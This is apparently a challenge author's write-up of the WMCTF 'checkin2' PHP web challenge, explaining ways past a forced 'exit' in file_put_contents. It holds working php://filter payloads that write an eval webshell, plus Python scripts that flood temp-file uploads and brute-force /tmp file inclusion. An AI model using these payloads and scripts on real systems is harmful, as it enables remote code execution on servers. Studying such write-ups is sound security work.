考点主要源于我之前再写文章 关于file_put_contents的一些小测试 中遇到的一些问题。题目源代码很简单👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting(0 ); $sandbox = '/var/www/html/' . md5($_SERVER['HTTP_X_REAL_IP' ]); @mkdir($sandbox); @chdir($sandbox); highlight_file(__FILE__ ); if (isset ($_GET['content' ])) { $content = $_GET['content' ]; if (preg_match('/iconv|UCS|UTF|rot|quoted|base64/i' ,$content)) die ('hacker' ); if (file_exists($content)) require_once ($content); echo $content; file_put_contents($content,'<?php exit();' .$content); }
对于运用的话:很多框架(就不具体说了)喜欢用一个file_put_contents($filename,'<?php exit();'.$content);
来生成一个php文件,在代码审计中也经常会遇到,所以题目也就是考察一种参数可控的情况下的一种绕过方式。简单来说就是死亡exit的绕过,我在上一篇文章中介绍了挺多的方法,不过我在这题中把那些方法都ban了,所以很明显,出发点就在于函数的特性,其他过滤器的使用,或者配置环境了……
1.二次编码绕过 查看伪协议处理的源码👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 static void php_stream_apply_filter_list(php_stream * stream , char * filterlist , int read_chain , int write_chain ) { char *p, *token = NULL; php_stream_filter *temp_filter; p = php_strtok_r(filterlist , "|" , &token ) ; while (p) { php_url_decode(p , strlen (p ) );#👈对过滤器进行了一次urldecode if (read_chain) { if ((temp_filter = php_stream_filter_create(p , NULL, php_stream_is_persistent (stream ) ))) { php_stream_filter_append(&stream ->readfilters , temp_filter ) ; } else { php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)" , p ) ; } } if (write_chain) { if ((temp_filter = php_stream_filter_create(p , NULL, php_stream_is_persistent (stream ) ))) { php_stream_filter_append(&stream ->writefilters , temp_filter ) ; } else { php_error_docref(NULL, E_WARNING, "Unable to create filter (%s)" , p ) ; } } p = php_strtok_r(NULL, "|" , &token ) ; } }
file_put_contents中可以调用伪协议,而伪协议处理时会对过滤器urldecode一次,所以是可以利用二次编码绕过的,不过我们在服务端ban了%25(用%25太简单了)所以测试%25被ban后就可以写个脚本跑一下字符,构造一些过滤的字符就可以利用正常的姿势绕过。知道可以用二次编码绕过了,可以简单构造一下参见的payload即可,可参考我之前写的文章中的一些payload
1 2 3 4 5 6 7 8 9 10 11 12 <?php $char = 'r' ; for ($ascii1 = 0 ; $ascii1 < 256 ; $ascii1++) { for ($ascii2 = 0 ; $ascii2 < 256 ; $ascii2++) { $aaa = '%' .$ascii1.'%' .$ascii2; if (urldecode(urldecode($aaa)) == $char){ echo $char.': ' .$aaa; echo "\n" ; } } } ?>
1 php://filter /write =string .%7 %32 ot13|cuc cucvasb();|/resource=Cyc1e.php
注 :payload放过滤器的位置或者放文件名位置都可(因为有些编码有时候会有空格什么的乱码,文件名不一定好用),php://filter面对不可用的规则是报个Warning,然后跳过继续执行的)。
2.过滤器构造绕过 我再题目中过滤的过滤器有👇
1 /iconv|UCS |UTF |rot |quoted |base64 /
php:filter
支持使用多个过滤器,参考官方文档 可用过滤器列表 ,还留下了字符串过滤器中的部分 和压缩过滤器 以及加密过滤器 ,所以可以考虑从这几个过滤器入手,最好用的应该就是zlib
的zlib.deflate
和zlib.inflate
,组合使用压缩后再解压后内容肯定不变,不过我们可以在中间遍历一下剩下的几个过滤器,看看中间进行什么操作会影响后续inflate的内容,简单遍历一下可以发现中间插入string.tolower转后会把空格和exit处理了就可以绕过exit👇
1 php://filter /zlib.deflate|string .tolower|zlib.inflate|?> <? php%0 deval($_GET [1 ]);?> /resource=Cyc1e.php
当然,也是可以通过构造单个字符,通过zlib.deflate
压缩来形成shell,这里就不多说了~
3.爆破临时文件 题目的环境特地设置了php 7.0.33版本,由于file_put_contents也可以利用伪协议,所以利用再利用string.strip_tags会发生segment fault,这时候上传一个webshell会以临时文件的形式保存在/tmp中(老知识点了),利用require_once包含getshell即可(题目的设置是用一次就会被覆盖,所以直接反弹shell或者写马就行,这个是一个最不好的解作为题目的备选解)。
不过实际运维题目的时候,因为爆破的基数太大了,在比赛的时候太多人同时爆破形成了DDOS了,服务器也承受不住,所以我们没办法,只好选择封堵这条路了(莫怪)。简单放下生成临时文件的脚本(LFI via SegmentFault copy的)👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import requests import string import itertools charset = string.digits + string.letters host = "web_checkin2.wmctf.wetolink.com" port = 80 base_url = "http://%s:%d" % (host, port) def upload_file_to_include(url, file_content): files = {'file' : ('evil.jpg' , file_content, 'image/jpeg' )} try: response = requests.post(url, files =files) except Exception as e: print e def generate_tmp_files(): file_content = '<?php system("xxxxxxxx");?>' phpinfo_url = "%s/?content=php://filter/write=string.strip_tags/resource=Cyc1e.php" % ( base_url) print phpinfo_url length = 6 times = len(charset) ** (length / 2) for i in xrange(times): print "[+] %d / %d" % (i, times) upload_file_to_include(phpinfo_url, file_content) if __name__ == "__main__" : generate_tmp_files()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import requests import string charset = string.digits + string.letters host = "web_checkin2.wmctf.wetolink.com" port = 80 base_url = "http://%s:%d" % (host, port) def brute_force_tmp_files(): for i in charset: for j in charset: for k in charset: for l in charset: for m in charset: for n in charset: filename = i + j + k + l + m + n url = "%s/index.php?content=/tmp/php%s" % ( base_url, filename) print url try : response = requests.get(url) if 'flag' in response.content: print "[+] Include success!" return True except Exception as e: print e return False def main(): brute_force_tmp_files() if __name__ == "__main__": main()
Final checkin刚放出的时候,由于配置错误成了白给题,所以修复了问题放出了checkin2。在出题的时候也很担心题目出得不好影响了比赛质量,争取之后遇到好的点的时候再继续分享~